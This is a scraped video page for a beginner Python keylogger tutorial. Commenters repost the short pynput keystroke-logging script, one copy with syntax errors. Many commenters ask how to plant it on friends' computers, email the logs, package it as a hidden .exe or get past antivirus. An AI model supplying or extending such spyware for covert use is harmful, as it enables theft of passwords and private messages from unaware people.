Тёмный

How To Code A Keylogger In Python | Programming Tutorial For Beginners 

Shaun Halverson
Подписаться 9 тыс.
Просмотров 70 тыс.
50% 1

Hey guys!
In today's video, we discuss how to write a keylogger in Python. A keylogger logs all keys on your keyboard and hides in the background. This is a common tool used by hackers for stealing all kinds of information from users without them even knowing. Please don't do this for real! Learning purposes only :D Enjoy!
These projects are available on GitHub at
--------------------------------------------------------------------------------------
github.com/ShaunHalverson/Pyt...
Add Me On Discord!
--------------------------------------------------------------------------------------
Username: Shaun(Hashtag)5626
Software Engineering / Programming for beginners / variables types / computer science /compsci / coding for beginners / learn how to program / learn how to code / python variables / python for beginners / coding tutorial / programming tutorial
Want to see more? Click on this spicy link :D
/ @shaunhalverson
Assets in the thumbnail were provided by artists on
www.canva.com
All art and copyright ownership belongs to the artists on Canva and is under the protection of the Canva pro membership.
#programming #tutorial #learntocode

Опубликовано:

 

27 июл 2022

Поделиться:

Ссылка:

Скачать:

Готовим ссылку...

Добавить в:

Мой плейлист
Посмотреть позже
Комментарии : 142   
@letmeouturbasementbro
@letmeouturbasementbro 9 месяцев назад
🗿 I'm definitely using this for educational purposes, thank you 🗿
@YashKumar-pj8tk
@YashKumar-pj8tk 9 месяцев назад
😂
@florenciajoseph7714
@florenciajoseph7714 9 месяцев назад
😂😂😂
@Broyuz
@Broyuz 8 месяцев назад
😂😂😂😂
@Mera2002
@Mera2002 8 месяцев назад
😂😂😂😂😂
@holipsic7967
@holipsic7967 7 месяцев назад
😂😂😂😂😂😂@@Mera2002
@septimusforster
@septimusforster 11 месяцев назад
Thank you. I promise, I'm not a bad guy.
@user-ys9kg6ye8u
@user-ys9kg6ye8u 4 месяца назад
none of us are ❤
@yassinloay7515
@yassinloay7515 4 месяца назад
That is a little bit sus
@Tebatso-wd1xs
@Tebatso-wd1xs 4 дня назад
I AM
@TheNight55
@TheNight55 2 месяца назад
from pynput import keyboard def keyPressed(key): print(str(key)) with open("keyfile.txt", 'a') as logkey: try: char = key.char logkey.write(char) execpt: print("Error getting char") if__name__ == "__main__": listener = keyboard.Listener(on_press=keypressed) listener.start() input()
@danimatviolin9679
@danimatviolin9679 6 месяцев назад
My friend!!! So much thank you for this! I've been working on HTML&CSS, JavaScript and Python for almost a year now. Done a lot of nice things already, but I always had a problem with installing libraries. Always got errors, never worked. Yeah yeah you all can laugh (I almost cried about it) watched dozens of video's about it, starting to feel really stupid... And your simply explaination / demonstration in the beginning, it worked! Now I finally can make serious progression with Python! Since libraries are half of the work. Thanks for this cool keylogger but MANY MORE THANKS for explaining / demonstrating libraries 😀 Like and a sub
@joshuasachiza6135
@joshuasachiza6135 3 месяца назад
I totally agree with libraries are a lot of work. So much stress just for installing / configuring stuff which usually doesn't even work even if you follow everything, line by line 😂😂
@caseyrivera2765
@caseyrivera2765 2 месяца назад
Solid explanation!! Was looking into cyber security projects and this was one of the projects that popped up glad it brought me here!
@healthcentral001
@healthcentral001 21 день назад
Me too. Can we link up and learn more stuff together? I'm in cyber security too
@nikitathakkar3416
@nikitathakkar3416 4 месяца назад
I was trying to find this for so long and finally it works thanks a ton♥
@BleronFN
@BleronFN 3 месяца назад
can u please tell me how do i send the keylogger to a friend and get his information when he is typing???
@proddanyy
@proddanyy 3 месяца назад
@@BleronFN that is illegal bro 💀💀💀💀💀💀
@1bbeSuedi
@1bbeSuedi Месяц назад
@@proddanyy how do i do it
@vishaalnnagpal99
@vishaalnnagpal99 3 месяца назад
Today I see your video and make a keylogger I have trouble starting but get it working 👍👍🙏
@fatmanurerturk374
@fatmanurerturk374 Год назад
thanks bro amazing video :)
@TiagoAlves-nw6vd
@TiagoAlves-nw6vd Год назад
Excellent, thanks for sharing...
@annanyagaikkwad9127
@annanyagaikkwad9127 3 месяца назад
thankyou so much you just saved my grade:))
@Its_Alan_Paul
@Its_Alan_Paul Год назад
Dude that was Epic
@mio7046
@mio7046 24 дня назад
thank you so much for this video, you saved me!
@Its_Alan_Paul
@Its_Alan_Paul Год назад
You deserve a Follow
@pabloandres5845
@pabloandres5845 Год назад
thanks bro, you saved me
@CrawdadSoftware
@CrawdadSoftware Год назад
You said you work in cybersec. can you make some tutorials from this field? this would be very intresting to learn
@enoobis
@enoobis 11 месяцев назад
``` from pynput import keyboard def keyPressed(key): print(str(key)) with open("keyfile.txt",'a') as logkey: try: char = key.char logkey.write(char) except: print("error getting char") if __name__ == '__main__': listener = keyboard.Listener(on_press=keyPressed) listener.start() input() ```
@bonbondonk8389
@bonbondonk8389 6 месяцев назад
from pynput import keyboard def keyPressed(key): print(str(key)) with open("keyfile.txt",'a') as logkey: try: char = key.char logkey.write(char) except: print("error getting char") if __name__ == '__main__': listener = keyboard.Listener(on_press=keyPressed) listener.start() input()
@enoobis
@enoobis 6 месяцев назад
@@bonbondonk8389 what's the difference?
@mahdimohandis
@mahdimohandis Год назад
Thanks man very helpful
@subash4468
@subash4468 4 месяца назад
Thank you so much bro ❤
@HungryBones
@HungryBones 4 месяца назад
Is there a way I could open the key file into a certain folder?
@bahramahady
@bahramahady Год назад
Thank you ❤️
@davorfister
@davorfister 7 месяцев назад
Thanks im gonna use this for school
@eZaFJDUBB
@eZaFJDUBB 5 месяцев назад
aren't all characters in python strings with a length of 1? char is a keyword from c/c++ with character data types?? you could say x = key.x as well or anything
@anantika
@anantika Год назад
How to i add the on release function to stop the keylogger
@user-qc9ov2iz1n
@user-qc9ov2iz1n 5 месяцев назад
it stop when i pressed ok enter key ;how to fixe this problem and ;how to create new file txt to enregister new use
@alexbellury
@alexbellury 7 месяцев назад
Does this only work for Windows because I tried this for me Debian based Linux distro and it wouldn't create a .txt file
@ehudkotegaro
@ehudkotegaro 6 месяцев назад
5:52 should you really use a bare Except? Isn't there a more Specific exception you could use?
@wiktormigaszewski8684
@wiktormigaszewski8684 Месяц назад
I need an example file of someone who wrote a longer text (a story or a masters thesis) - is there any such public repository? or maybe someone can share such a file?
@vishaalnnagpal99
@vishaalnnagpal99 3 месяца назад
Please make a video email keylogger from python and how it works in windows
@itscharles2653
@itscharles2653 3 месяца назад
ty ;)
@AshGamerfreesub
@AshGamerfreesub 4 месяца назад
why it doesn't work on password field. it doesn't work when i type my password
@hangeryouhen3311
@hangeryouhen3311 Месяц назад
I ran the code and the Windows Defender didn't alarmed me or anything
@AshutoshNigam68
@AshutoshNigam68 10 месяцев назад
Can the code record the name of the control clicked and textbox that is receiving the text?
@cozypm
@cozypm 2 месяца назад
have you found out?
@AshutoshNigam68
@AshutoshNigam68 2 месяца назад
My team found some sample code to do this job. Been long time, not coding for last 6 months sorry.
@the8estof
@the8estof 10 месяцев назад
i installed pynput but i cant import neither pynput nor keyboard from pynput
@cashelGOAT
@cashelGOAT 4 месяца назад
reload visual studios
@vxruzdanz
@vxruzdanz 10 месяцев назад
doesnt detect uppercase letters
@lalithaditya9639
@lalithaditya9639 7 месяцев назад
done with the project but how can i use the code for targeting another system
@Grinderjosh
@Grinderjosh 4 месяца назад
Bro wanna hack
@imppaco
@imppaco 3 месяца назад
I was hoping to use examples to understand how a background application would see the Userspace. Is there a way for a script to run (ex. on cron/startup), to prompt the User for input, on a Linux system?
@BleronFN
@BleronFN 3 месяца назад
can u tell me how do i send other people the keylogger like in discord how do i send my friend the keylogger
@cryz81
@cryz81 3 месяца назад
@@BleronFNmake the .py file an .exe
@rafolijf1256
@rafolijf1256 5 месяцев назад
bro my antivirus deleted the file, guess i shouldn't have done it on my school computer...
@RandumKontent
@RandumKontent 8 месяцев назад
it doesnt log spaces?
@Debuss3156
@Debuss3156 10 дней назад
this is surely scary i tried it for educational purpose
@oentrepreneur
@oentrepreneur 7 месяцев назад
Can this keylogger read sms messages
@floridaboyshii78
@floridaboyshii78 5 месяцев назад
Anybody know how I could use this o. Mobile phone
@velocisaurus79
@velocisaurus79 Месяц назад
My Av didnt detect the keylogger did I do something wrong? and it isnt creating the txt file all of the key logs are being recorded in the terminal?
@velocisaurus79
@velocisaurus79 Месяц назад
being as though the av didnt detect it how can I turn it off?
@PhantomShop.
@PhantomShop. 11 месяцев назад
how do i get pynput
@Myrxx
@Myrxx Месяц назад
how i press play (where)
@UpeUPE-ku6si
@UpeUPE-ku6si 11 месяцев назад
How do i make it to accept spaces instead of sending an error??
@santinomartella9243
@santinomartella9243 3 месяца назад
You could make the except write a space also I feel like if you used strings instead of chars it wouldn’t be an issue
@mohammedbasraoi7588
@mohammedbasraoi7588 9 месяцев назад
is this a netsite
@tecassowebandwebappssoluti4337
@tecassowebandwebappssoluti4337 6 месяцев назад
Is there a way for code to run remotely like a user downloaded a file from online not knowing it's a keylogger script ... Then on install it's starts logging user key stroke .... Asking for school project.
@technicalwolfs5390
@technicalwolfs5390 4 месяца назад
Even I want to know that have u got the answer
@Grinderjosh
@Grinderjosh Год назад
where did u runned it? the app what u use
@erennere197
@erennere197 Год назад
it is vscode
@hoangquocnguyen8106
@hoangquocnguyen8106 10 месяцев назад
U run python with sumthin(im using idle and vscode)
@MightBeClive
@MightBeClive Месяц назад
hey did anyone get an error cause i got an "error getting char" and I'm not seeing the key file being made for mine wondering if anyone had the same issue?
@velocisaurus79
@velocisaurus79 Месяц назад
yea Im having the same issue
@markocska94
@markocska94 Год назад
Great tutorial! Nice to see if that you are a fellow Minecrafter too. Feel free to invite me to play online
@GvIn2it
@GvIn2it 2 месяца назад
Why doesn't it show spaces?
@Filiberke123
@Filiberke123 6 месяцев назад
how to stop it?
@SwainJamie
@SwainJamie Месяц назад
Trying to pack this into an .exe file with pyinstaller, tried creating with "--onefile --noconsole" but getting this error "line 15, in RuntimeError: input(): lost sys.stdin". Packing it into an exe with the console visible works just fine but of course thats not ideal.
@MightBeClive
@MightBeClive Месяц назад
hey did you get a char error when you tried it?
@MightBeClive
@MightBeClive Месяц назад
hey did you get a char error when you tried it?
@SwainJamie
@SwainJamie Месяц назад
@@MightBeClive No character errors just seems to need the console window when running, no way to have it run in the background from what I can figure out anyway.
@GvIn2it
@GvIn2it 2 месяца назад
How to make this append a password-protected.zip?
@sturm379
@sturm379 Год назад
but what if I enjected it in someones computer. do it still send me the keys that he used?
@konamiitti2343
@konamiitti2343 Год назад
Yes i think so
@eZaFJDUBB
@eZaFJDUBB 5 месяцев назад
@@konamiitti2343 no, it will make a txt file on their computer
@bilqimlb
@bilqimlb Год назад
how to make this to exe ??
@rqqted
@rqqted Год назад
pyinstaller
@speedeespeedboi9527
@speedeespeedboi9527 7 месяцев назад
it does not work for games
@user-yt5fo6pe2q
@user-yt5fo6pe2q 7 месяцев назад
pls some tell me what to do here
@shahzaibhassan6504
@shahzaibhassan6504 7 месяцев назад
You probably didint import keyboard, Can you show me your full code?
@whocaresatall4762
@whocaresatall4762 5 месяцев назад
Import the keyboard!
@weird-ai-videos
@weird-ai-videos Год назад
i installed pynput but i still have those yellow lines and the listener does not work could you pls help me?
@erennere197
@erennere197 Год назад
same happened to me
@oijje
@oijje Год назад
same here
@anchorpb2007
@anchorpb2007 11 месяцев назад
I had the same issue, but I found a solution: ru-vid.com/video/%D0%B2%D0%B8%D0%B4%D0%B5%D0%BE-dj5oOPaeIqI.html
@Drew78787
@Drew78787 11 месяцев назад
For me it installed it to the wrong version of Python, all I had to do was switch to the version it installed to and it worked
@GetBentstream
@GetBentstream 7 месяцев назад
listener should be Listener
@donjay6722
@donjay6722 Год назад
i tried running the program but got 'cant open file invalid argument' error in the terminal
@boris901
@boris901 Год назад
I've also
@Allaboutcars997
@Allaboutcars997 Год назад
Same here had so many error why doesn’t he reply
@Derrmyster
@Derrmyster Год назад
@@Allaboutcars997 from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol
@plaksnorr5267
@plaksnorr5267 Год назад
yall stupid
@rqqted
@rqqted Год назад
try this instead from pynput import keyboard # creating file and writing to it def no(key): with open('key.txt','a') as logkey: logkey.write(f' {key}') #the code if __name__ == "__main__": listener = keyboard.Listener(on_press=no) listener.start() input()
@nogaminglife901
@nogaminglife901 Год назад
How do I send it to my email?
@amitpaul6109
@amitpaul6109 Год назад
Wait I will file a case on you 😂😂😂
@services.star11
@services.star11 Год назад
@@amitpaul6109 ong
@vinayakkaushik3231
@vinayakkaushik3231 Год назад
No key file got formed what to do
@gabimorales8296
@gabimorales8296 Год назад
Make sure to save .py file before running
@therandomness3728
@therandomness3728 11 месяцев назад
You have just informed people that want to hack exactly how to do it.
@Python_Tube
@Python_Tube 11 месяцев назад
If you can tell me how to send this file to email
@juanr0919
@juanr0919 11 месяцев назад
pretty sure thats illegal if the reciever getting the email doens't know why would you want to do that?
@frasscu
@frasscu Год назад
yoo men , idk if u can help me but when i creare de code and i save it when i tried to open it again i cant . and idk how to fix the problem thanks
@rqqted
@rqqted Год назад
whats ur discord
@Grinderjosh
@Grinderjosh 4 месяца назад
Now am wondering how can i make it as a spyware (am just educating) aight
@exploreworldx
@exploreworldx 9 месяцев назад
It does not not create the txt file
@vinidias015
@vinidias015 6 месяцев назад
you have to select the project folder in the explorer menu
@badanapallypraneeth7716
@badanapallypraneeth7716 Год назад
Module cannot be callable
@robealmangco492
@robealmangco492 11 месяцев назад
so if i send that file to my friend's computer and he run on it, and open his social media account, it will send it to my txt ?
@amaze3727
@amaze3727 11 месяцев назад
No, you're better off using a Remote Access Trojan for that (for educational purposes of course)
@odayzaour6926
@odayzaour6926 Год назад
is it work for android ?
@davidgolombek2503
@davidgolombek2503 Год назад
i got error 22 in terminal "invalid argument"
@Derrmyster
@Derrmyster Год назад
from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol
@metoyxs1832
@metoyxs1832 10 месяцев назад
@@Derrmyster nah i kind of forgot that i ever even wanted to make keylogger
@deniskanja1952
@deniskanja1952 Год назад
Can it work on android
@VikTech777
@VikTech777 Год назад
no
@htdkujhgnjyjykri9987
@htdkujhgnjyjykri9987 Год назад
Bro pip is not installing
@Derrmyster
@Derrmyster Год назад
be sure that your casing is correct along with spelling. if thats all good sometimes you might have to try the other method of : " py -m pip install ' insert here ' " or directly " ' pip install ' insert here ' here is also a time stamp if you need to rewatch him do it 1:45
@htdkujhgnjyjykri9987
@htdkujhgnjyjykri9987 Год назад
@@Derrmyster thnx but I have resolved that issue thnx
@lazarzivanovic2652
@lazarzivanovic2652 8 месяцев назад
where do u click play man
@weird-ai-videos
@weird-ai-videos Год назад
hey i got a error when i run it
@tianomerce4621
@tianomerce4621 Месяц назад
Hey guys did have someone a finish Keylogger Datei who can send me pleas :D
@solomontheuri1033
@solomontheuri1033 Месяц назад
🗿
@pumpkingolem9122
@pumpkingolem9122 8 месяцев назад
dw i am using it for a game
@speedeespeedboi9527
@speedeespeedboi9527 7 месяцев назад
did it work?
@dehset242
@dehset242 6 месяцев назад
SyntaxError: expected ':'
Далее
Спасибо Анджилишка, попил😂
00:19
Is Coding Important for Cyber Security?
9:24
Просмотров 345 тыс.
This is Why Programming Is Hard For you
10:48
Просмотров 649 тыс.
5 Good Python Habits
17:35
Просмотров 395 тыс.
5 Mini Python Projects - For Beginners
1:41:08
Просмотров 2,8 млн
Remote Control ANY PC!
4:27
Просмотров 715 тыс.